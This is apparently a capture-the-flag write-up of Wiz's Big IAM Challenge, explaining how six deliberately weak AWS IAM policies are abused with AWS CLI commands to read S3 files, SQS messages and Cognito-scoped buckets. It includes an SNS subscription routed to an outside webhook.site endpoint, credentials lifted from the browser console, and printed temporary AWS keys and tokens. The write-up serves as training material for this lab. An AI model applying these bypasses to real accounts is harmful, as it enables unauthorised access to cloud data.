# BigIAMChallenge

**EDIT: I decided to redact the requests to make sure the readers are following the steps to receive the flag as well.**

This CTF challenge was created by [Wiz.io](http://Wiz.io) to help engineers better understand how IAM Policies work.

## **Challenge #1**

The first challenge presents you with the following IAM Policy:

```json
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"
        },
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",
            "Condition": {
                "StringLike": {
                    "s3:prefix": "files/*"
                }
            }
        }
    ]
}
```

The main problem with the policy above lies in the permissions granted for **ListBucket**. `StringLike` allows access if the specified conditions are met. The condition above is `s3:prefix: files/*` means that any query with this prefix will be allowed:

```bash
$ aws s3 ls s3://thebigiamchallenge-storage-9979f4b/files/
2023-06-05 16:13:53         37 flag1.txt
2023-06-08 16:18:24      81889 logo.png

$ aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt .
download: s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt to ./flag1.txt

$ cat flag1.txt
{wiz:exposed-***}
```

This way you can access files that shouldn't be supposed to be visible.

## **Challenge #2**

The IAM policy for this challenge is:

```json
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": [
                "sqs:SendMessage",
                "sqs:ReceiveMessage"
            ],
            "Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"
        }
    ]
}
```

The solution is pretty simple. Using AWS CLI:

```bash
aws sqs receive-message --queue-url \
  https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2
```

We can read the body of a message that points to a file in a S3 Bucket.

```bash
curl https://tbic-wiz-analytics-bucket-b44867f.s3.amazonaws.com/pAXCWLa6ql.html
{wiz:you-***}
```

## **Challenge #3**

```json
{
    "Version": "2008-10-17",
    "Id": "Statement1",
    "Statement": [
        {
            "Sid": "Statement1",
            "Effect": "Allow",
            "Principal": {
                "AWS": "*"
            },
            "Action": "SNS:Subscribe",
            "Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
            "Condition": {
                "StringLike": {
                    "sns:Endpoint": "*@tbic.wiz.io"
                }
            }
        }
    ]
}
```

Always be cautious when you see an asterisk. My solution exploited this vulnerability by using:

```bash
aws sns subscribe \
    --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications \
    --protocol https \
    --notification-endpoint https://webhook.site/4c27ac43-4a2-472c-9ae4-430db98850e0/?a=@tbic.wiz.io
```

Webhook is very useful for testing XSS payloads. I use it a lot when I'm playing CTFs, so it was the first thing that came to mind for this challenge. You can always create a local server and expose to the internet using `ngrok` too.

After you receive a subscription url and click on it, you are going to receive the flag in another request:

```plaintext
{wiz:always-****}
```

**Challenge #4**

```json
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"
        },
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",
            "Condition": {
                "StringLike": {
                    "s3:prefix": "files/*"
                },
                "ForAllValues:StringLike": {
                    "aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"
                }
            }
        }
    ]
}
```

The solution bypasses the `ForAllValues:StringLike` condition by using:

```bash
$ aws s3 ls s3://thebigiamchallenge-admin-storage-abf1321/files/ --no-sign-request
2023-06-07 16:15:43         42 flag-as-admin.txt
2023-06-08 16:20:01      81889 logo-admin.png

$ aws s3 cp s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-ad
min.txt .
download: s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt to ./flag-as-admin.txt
```

The solution is inside the text file:

```bash
{wiz:principal-arn-***}
```

## **Challenge #5**

The next challenge provides you with the following IAM policy:

```json
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "VisualEditor0",
            "Effect": "Allow",
            "Action": [
                "mobileanalytics:PutEvents",
                "cognito-sync:*"
            ],
            "Resource": "*"
        },
        {
            "Sid": "VisualEditor1",
            "Effect": "Allow",
            "Action": [
                "s3:GetObject",
                "s3:ListBucket"
            ],
            "Resource": [
                "arn:aws:s3:::wiz-privatefiles",
                "arn:aws:s3:::wiz-privatefiles/*"
            ]
        }
    ]
}
```

By getting the credentials from the browser console by using: (probably that's not the intended solve :D)

```json
AWS.config.credentials
```

This allows you to see the temporary credentials needed to access Cognito. After pasting the credentials into the shell, you can see the flag:

```json
➜  ~ aws s3 ls s3://wiz-privatefiles/
2023-06-05 16:42:27       4220 cognito1.png
2023-06-05 10:28:35         37 flag1.txt

➜  ~ cat flag1.txt
{wiz:incognito-***}
```

**Challenge #6**

```json
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "cognito-identity.amazonaws.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "StringEquals": {
                    "cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
                }
            }
        }
    ]
}
```

The first step is to get the Id of the pool using the following command:

```json
$ aws cognito-identity get-id --identity-pool-id us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b
{
    "IdentityId": "us-east-1:157d6171-ee58-ccb6-9df3-dc9103b53884"
}
```

Then, you authenticate with:

```json
➜  ~ aws cognito-identity get-open-id-token --identity-id us-east-1:40937fe8-22d8-41da-959a-bb32296491af | cat
{
    "IdentityId": "us-east-1:40937fe8-22d8-41da-959a-bb32296491af",
    "Token": "eyJraWQiOiJ1cy1lYXN0LTEtNiIsInR5cCI6IkpXUyIsImFsZyI6IlJTNTEyIn0.eyJzdWIiOiJ1cy1lYXN0LTE6NDA5MzdmZTgtMjJkOC00MWRhLTk1OWEtYmIzMjI5NjQ5MWFmIiwiYXVkIjoidXMtZWFzdC0xOmI3M2NiMmQyLTBkMDAtNGU3Ny04ZTgwLWY5OWQ5YzEzZGEzYiIsImFtciI6WyJ1bmF1dGhlbnRpY2F0ZWQiXSwiaXNzIjoiaHR0cHM6Ly9jb2duaXRvLWlkZW50aXR5LmFtYXpvbmF3cy5jb20iLCJleHAiOjE3MjEyNDY1MTksImlhdCI6MTcyMTI0NTkxOX0.ZNcxiRY6JAk2O7aTH34x16Eg_dG6yNZvUR4NWrThmohGXgulJcIgHca2nMby7aaLEENw_RNgNb3ckKZ74DpUnYf9eTwmcm1oHaqU6-OfztV7Mx23nr0VAfQI5X1dLmgh4AMW6u3draLxc1hGnhNobYIxYMbRLTpFsuTxDKV_G_2keuDqi5QQgS1ENuPXJX0fBq7VRHqdfsoAcJqR5oMYJWSsc5dDC2lsKsSDsz0qAtUscrnqzrTuLMV7qZVMHf_YIsO3AXMnYMfywJO3NpmDlNN6MBNPnKNEUOVEvPMRKeAVxpJVOHZYBmaUSaOmz4cEdoE7uCAFNZTGqPuCdkWKwg"
}
```

Then:

```json
➜  ~ aws sts assume-role-with-web-identity --role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role --role-session-name diofeher --web-identity-token eyJraWQiOiJ1cy1lYXN0LTEtNiIsInR5cCI6IkpXUyIsImFsZyI6IlJTNTEyIn0.eyJzdWIiOiJ1cy1lYXN0LTE6NDA5MzdmZTgtMjJkOC00MWRhLTk1OWEtYmIzMjI5NjQ5MWFmIiwiYXVkIjoidXMtZWFzdC0xOmI3M2NiMmQyLTBkMDAtNGU3Ny04ZTgwLWY5OWQ5YzEzZGEzYiIsImFtciI6WyJ1bmF1dGhlbnRpY2F0ZWQiXSwiaXNzIjoiaHR0cHM6Ly9jb2duaXRvLWlkZW50aXR5LmFtYXpvbmF3cy5jb20iLCJleHAiOjE3MjEyNDY1MTksImlhdCI6MTcyMTI0NTkxOX0.ZNcxiRY6JAk2O7aTH34x16Eg_dG6yNZvUR4NWrThmohGXgulJcIgHca2nMby7aaLEENw_RNgNb3ckKZ74DpUnYf9eTwmcm1oHaqU6-OfztV7Mx23nr0VAfQI5X1dLmgh4AMW6u3draLxc1hGnhNobYIxYMbRLTpFsuTxDKV_G_2keuDqi5QQgS1ENuPXJX0fBq7VRHqdfsoAcJqR5oMYJWSsc5dDC2lsKsSDsz0qAtUscrnqzrTuLMV7qZVMHf_YIsO3AXMnYMfywJO3NpmDlNN6MBNPnKNEUOVEvPMRKeAVxpJVOHZYBmaUSaOmz4cEdoE7uCAFNZTGqPuCdkWKwg | cat
{
    "Credentials": {
        "AccessKeyId": "ASIARK7LBOHXCEB2J3EI",
        "SecretAccessKey": "rCEOwjWOlMwfDPMg7N5biK5tIGo34Q0IhuD5L5CS",
        "SessionToken": "IQoJb3JpZ2luX2VjECwaCXVzLWVhc3QtMSJIMEYCIQDLmZHdbY1Na1egTIh/SB9nn+dCfvbV7E4RMrgrqIXztQIhAKVrUattduDWKZobSKIkpaj6muwLac7wOBaIUWSU3Ij7KpIDCPX//////////wEQABoMMDkyMjk3ODUxMzc0IgyWlfAqqr41LKYHBm4q5gIl7cw7vDta6c+GxKGkMTdW/yccmC5LYDaoDlSImGqRg1yEI2YDtPkSWhuwziIODGLL7vHMPzvTwdoULy7DGck7a2ECjG4Ucoj8YND3zK9hpo8FKUVEN0QYW/oWx8l12Ia7wh6iYYB2NqP9cDKx+S7xUNh6V/VYIeyY64Q4g9CGZTUZbAGVpGMidmzft7Sx3cKFDSoudf7xO+dl38pL/tK6IRQpCFKoQvLumrxs/3oZAfBjyoMEfllgUTyS5SonfYAYJprJKO9ktwW1tJXmCSgVu9KYU3oiK5d/oyPm2D7nbIwBTp/eJLX8LZEFTLBVTbE2t7mgW7pSXGXncKvzFuBz68GWErVZwX7gzJ2mn+GtAtC4XedM1Pbl5+P/me86QWoTCCfj3UWCKRCq9Z2LtzAurpOWCSDsYb2zW1gurduwyH4Ir2QwUQH+2vZYy/tAJJUOOs1SW6tD9WoCluIOgs0QhSGodWnEMLHC4LQGOoYCgX4/8GKx6gWqiui+T+JxAL9mVWydyIG722FPAAhsqTprxRqDRzPANE3Rek7vQnrzIYXqxvSxX4EHopnI+9qowa17Q+DD5kbEbpt+CNKVILyeyjtrlgC1pIGrDJCeARYgM4SORdU0KCwz86Pvd8KGRgzogd4C8342jgYAALkSIWJHvCmesVqz0GyDWV01N99dpfTpYVcmdgo4w18UCfRFrjKDsdiB0lK+JhPfgpy7I9EHhKZAZPrR9SsBlChnI1aoSbqK+BEHEfLW/r0xYm0iLyhXQVxiFLaOzKvgZELtAFDIyfN7xJiSm+L8qMZVLIfR9prwzp4rGTRWzG3uKfZPAORmYX+Ehg==",
        "Expiration": "2024-07-17T20:53:21+00:00"
    },
    "SubjectFromWebIdentityToken": "us-east-1:40937fe8-22d8-41da-959a-bb32296491af",
    "AssumedRoleUser": {
        "AssumedRoleId": "AROARK7LBOHXASFTNOIZG:diofeher",
        "Arn": "arn:aws:sts::092297851374:assumed-role/Cognito_s3accessAuth_Role/diofeher"
    },
    "Provider": "cognito-identity.amazonaws.com",
    "Audience": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
}
```

After exporting these credentials to the shell, we can access:

```json
➜  ~ aws s3 ls
2024-06-06 03:21:35 challenge-website-storage-1fa5073
2024-06-06 05:25:59 payments-system-cd6e4ba
2023-06-04 14:07:29 tbic-wiz-analytics-bucket-b44867f
2023-06-05 10:07:44 thebigiamchallenge-admin-storage-abf1321
2023-06-04 13:31:02 thebigiamchallenge-storage-9979f4b
2023-06-05 10:28:31 wiz-privatefiles
2023-06-05 10:28:31 wiz-privatefiles-x1000

➜  ~ aws s3 ls s3://wiz-privatefiles-x1000
2023-06-05 16:42:27       4220 cognito2.png
2023-06-05 10:28:35         40 flag2.txt

➜  ~ aws s3 cp  s3://wiz-privatefiles-x1000/flag2.txt .
cat fCompleted 40 Bytes/40 Bytes (83 Bytes/s) with 1 file(s) rdownload: s3://wiz-privatefiles-x1000/flag2.txt to ./flag2.txt
la%
➜  ~ cat flag2.txt
{wiz:open-***}
```

If you're up for the challenges, please try to solve them on your own first. That way, if you get stuck, you can use this post to help unblock yourself.

Have fun!
